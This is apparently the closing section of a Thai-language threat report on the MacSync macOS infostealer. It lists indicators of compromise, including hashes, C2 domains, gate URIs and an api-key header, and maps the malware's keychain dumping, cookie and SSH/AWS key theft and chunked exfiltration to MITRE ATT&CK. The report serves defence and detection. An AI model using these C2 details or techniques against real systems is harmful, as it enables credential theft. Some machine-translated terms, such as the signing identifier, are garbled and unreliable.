| 13 | การล้างคลังเก็บของที่ถูกปล้น | _remove(“/tmp/osalogging.zip”) | /tmp/osalogging.zip | ลบไฟล์ ZIP ที่เก็บข้อมูลที่ถูกขโมยหลังจากขโมยข้อมูลสำเร็จแล้ว |
ตัวบ่งชี้การประนีประนอม (IOCs)
ตัวบ่งชี้โฮสต์
| ประเภทตัวบ่งชี้ | ความคุ้มค่า | รายละเอียด |
| SHA-256 แฮช | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | ไบนารีเนทีฟ Mach-O Stager |
| MD5 แฮช | 9678f71ea4cccbc3d511dc8d7f24b113 | ไบนารีเนทีฟ Mach-O Stager |
| SHA-1 แฮช | 59508d071661ea70fa5fcbe6f9e2fb72506e57df | ไบนารีเนทีฟ Mach-O Stager |
| รหัสลงนาม | คอม.ยูทิลิตี้.ตัวเรียกใช้งาน | ตัวระบุชุดลายเซ็นเฉพาะกิจ |
| ซีดีแฮช | d182eb7cba0ffa42d770d7b0d3499e49f24163a2 | แฮชไดเร็กทอรีโค้ด |
| คลังเก็บเอกสารที่จัดฉาก | /tmp/osalogging.zip | คลังเก็บข้อมูล Harvest ที่มีข้อมูลที่ถูกขโมย |
| ไฟล์สถานะ | /tmp/.httpcode | ไฟล์รหัสการตอบสนอง HTTP ชั่วคราว |
ตัวชี้วัดเครือข่าย
| ประเภทตัวบ่งชี้ | ความคุ้มค่า | รายละเอียด |
| โดเมน C2 (หลัก) | drivinguber.com | เซิร์ฟเวอร์ C2 หลัก ขั้นที่ 3 / ขั้นที่ 6 |
| โดเมน C2 (สำรอง) | asia.newsinweb.com | จุดเชื่อมต่อ C2 สำรองในภูมิภาคเอเชีย |
| โดเมน C2 (สำรอง) | usa.newsinweb.com | จุดเชื่อมต่อ C2 สำรองในภูมิภาคสหรัฐอเมริกา |
| โดเมนราก C2 | newsinweb.com | โดเมนรูทสำรอง |
| URI (ดาวน์โหลด) | /dynamic?txd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 | เกตเพย์โหลด AppleScript แบบไดนามิก |
| URI (อัปโหลด) | /gate?buildtxd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 | ประตูอัพโหลด PUT ไบนารีแบบก้อนขนาด 10 MB |
| ส่วนหัวคำขอ HTTP | api-key: de62a2f47d1c7dec2997f931a050a615 | โทเค็นการตรวจสอบความถูกต้องของแคมเปญ |
| ตัวแทนผู้ใช้ HTTP | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36 | User-Agent ของไคลเอ็นต์ปลอม |
การแมป MITRE ATT&CK
| ชั้นเชิง | รหัสเทคนิค | เทคนิค | การใช้งาน MacSync |
| การเข้าถึงเบื้องต้น | T1204.002 | การดำเนินการของผู้ใช้ | ClickFix หลอกล่อผู้ใช้ให้เรียกใช้คำสั่งเทอร์มินัลที่ถูกเข้ารหัสซ่อนไว้ |
| การกระทำ | T1059.002 | AppleScript | เรียกใช้คำสั่ง AppleScript จากระยะไกลผ่านทาง /usr/bin/osascript |
| การกระทำ | T1059.004 | ยูนิกซ์เชลล์ | เรียกใช้คำสั่ง /bin/sh |
| การติดตา | T1543.001 | ตัวแทนเปิดตัว | ติดตั้งไฟล์ .plist ที่เป็นอันตรายลงใน ~/Library/LaunchAgents/ |
| การหลบหลีกการป้องกัน | T1027 | obfuscation | XOR 0xAA ซ่อนข้อความและ URL ไว้ |
| การหลบหลีกการป้องกัน | T1564.001 | ไฟล์ที่ซ่อน | ใช้ไฟล์ที่มีจุดนำหน้าสำหรับข้อมูลชั่วคราว |
| การหลบหลีกการป้องกัน | T1070.004 | การลบไฟล์ | ลบไฟล์ชั่วคราวหลังจากอัปโหลดข้อมูลเสร็จแล้ว |
| การหลบหลีกการป้องกัน | T1036.005 | สวมหน้ากาก | ใช้ com.utils.Launcher เพื่อให้ดูเหมือนเป็นคอมโพเนนต์ที่ถูกต้อง |
| การหลบหลีกการป้องกัน | T1562.001 | ทำให้เสียการป้องกัน | เปลี่ยนเส้นทางการรับข้อมูลจาก stdin, stdout และ stderr ไปยัง /dev/null |
| การเข้าถึงข้อมูลประจำตัว | T1555.001 | พวงกุญแจ | ใช้คีย์เชนการดัมพ์ความปลอดภัยเพื่อเข้าถึงข้อมูลประจำตัวที่จัดเก็บไว้ |
| การเข้าถึงข้อมูลประจำตัว | T1539 | คุกกี้เซสชันเว็บ | กำหนดเป้าหมายฐานข้อมูลคุกกี้ของเบราว์เซอร์เพื่อขโมยเซสชัน |
| การเข้าถึงข้อมูลประจำตัว | T1552.004 | คีย์ส่วนตัว | รวบรวมคีย์ SSH และข้อมูลรับรอง AWS |
| การค้นพบ | T1082 | ระบบสารสนเทศ | รวบรวมข้อมูลเวอร์ชัน macOS, UUID ของฮาร์ดแวร์ และสถาปัตยกรรม CPU |
| ชุด | T1560.001 | เก็บรวบรวมข้อมูล | เก็บข้อมูลที่ถูกขโมยไว้ในไฟล์ /tmp/osalogging.zip |
| คำสั่งและการควบคุม | T1071.001 | เว็บโปรโตคอล | สื่อสารกับ C2 ผ่านทาง HTTPS/443 |
| คำสั่งและการควบคุม | T1105 | การถ่ายโอนเครื่องมือขาเข้า | ดาวน์โหลดโมดูล AppleScript ขั้นที่สอง |
| การกรอง | T1030 | ขีด จำกัด ขนาดการถ่ายโอนข้อมูล | แบ่งไฟล์เก็บถาวรออกเป็นส่วนๆ ขนาด 10 MB |
| การกรอง | T1048.003 | โปรโตคอลทางเลือก | อัปโหลดข้อมูลไบนารีแบบแบ่งเป็นส่วนๆ ผ่านคำขอ HTTP PUT |
เขียนโดย:



